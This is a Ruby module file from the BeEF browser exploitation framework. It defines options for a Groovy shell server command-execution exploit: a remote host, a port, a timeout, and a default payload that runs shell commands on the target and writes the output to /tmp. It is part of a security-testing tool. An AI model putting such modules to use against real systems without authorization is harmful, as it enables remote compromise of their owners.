Path: blob/master/modules/exploits/groovyshell_server_cmd_exec/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Groovyshell_server_command_execution < BeEF::Core::Command6def self.options7[8{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },9{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '6789' },10{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },11{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',12'value' => '/bin/sh -c id>/tmp/id;uname>/tmp/uname', 'width' => '200px' }13]14end1516def post_execute17save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?18save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?19end20end212223